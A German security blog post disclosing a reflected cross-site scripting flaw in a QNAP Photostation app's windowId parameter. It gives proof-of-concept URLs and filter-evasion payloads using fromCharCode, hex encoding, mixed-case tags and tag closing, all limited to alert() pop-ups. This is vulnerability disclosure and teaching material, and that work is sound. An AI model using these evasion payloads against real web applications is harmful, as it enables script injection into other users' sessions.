QNAP-Cross-Site-Scripting – nicht schon wieder!

Veröffentlicht: 25. April 2014 in IT-Security, Netzwerke
Schlagwörter:, , , ,

„◾Fehler zu machen ist menschlich. Fehler zu wiederholen ist schmerzlich. Dieselben Fehler immer wieder zu machen ist dämlich„- Sinan Gönül

Man könnte denken bei QNAP lernt man kein Stück dazu. Nachdem ich bereits das CERT.at sowie QNAP selbst in der Vergangenheit auf mehrere XSS-Lücken in deren Apps hingewiesen hatte, stelle ich erneut fest, dass man wieder die Tore offen gelassen hat!

Bei einer Art von Bugbounty-Programm würde ich mir wohl an QNAP eine goldene Nase verdienen… #scnr

Diesmal: QNAP-Photostation V.3.2 (auf QNAP NAS TS259+ Pro – Firmware 4.0.7 vom 12.04.2014)

QNAPXSS201404

Hier ist es auf den ersten Blick nur möglich eine Zahl zu übergeben, aber mit dem richtigen Trick können wir auch Text einschleusen und unsere Funktionen etwas pimpen – hier ist dann einfach Kreativität gefragt ;-)

geht -> https://192.168.100.1:80/photo/?windowId=/><script>alert(1)</script>
geht nicht -> https://192.168.100.1:80/photo/?windowId=/><script>alert(„XSS“)</script>

geht doch; ausgetrickst -> https://192.168.100.1:80/photo/?windowId=/><script>alert(String.fromCharCode(88,83,83));</script>

QNAPXSS2014-2
Die Möglichkeiten solche XSS-Angriffe zu starten und eventuelle Filter zu umgehen sind vielfältig.
Werden auf der Webseite z.B. spezielle Zeichen wie single oder double-quote bewusst weggefilter,
so bleibt dem Angreifer die oben beschrieben Option mit Verwendung der ASCII-Character.

Auch HEX-Encoding wäre einen Versuch wert:
<script>alert(„XSSed“);</script> wird dann zu 3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%58%53%53%65%64%22%29%3b%3c%2f%73%63%72%69%70%74%3e

Das Script einfach via Obfuscation vor einem Filter zu „verbergen“ klappt sehr oft auch ganz gut:
<ScRipt>ALeRt(„XSSed“);</sCRipT>

In einigen Fällen ist das XSS erst möglich, wenn zuvor ein „Closing Tag“ gesetzt wird:
„><script>alert(„XSSed“);</script> bzw. /><script>alert(„XSSed“);</script

Links FYI:
ASCII-Converter & noch einer
fromCharCode()

 

 

Advertisements

Eigenen Senf dazu geben

Trage deine Daten unten ein oder klicke ein Icon um dich einzuloggen:

WordPress.com-Logo

Du kommentierst mit Deinem WordPress.com-Konto. Abmelden / Ändern )

Twitter-Bild

Du kommentierst mit Deinem Twitter-Konto. Abmelden / Ändern )

Facebook-Foto

Du kommentierst mit Deinem Facebook-Konto. Abmelden / Ändern )

Google+ Foto

Du kommentierst mit Deinem Google+-Konto. Abmelden / Ändern )

Verbinde mit %s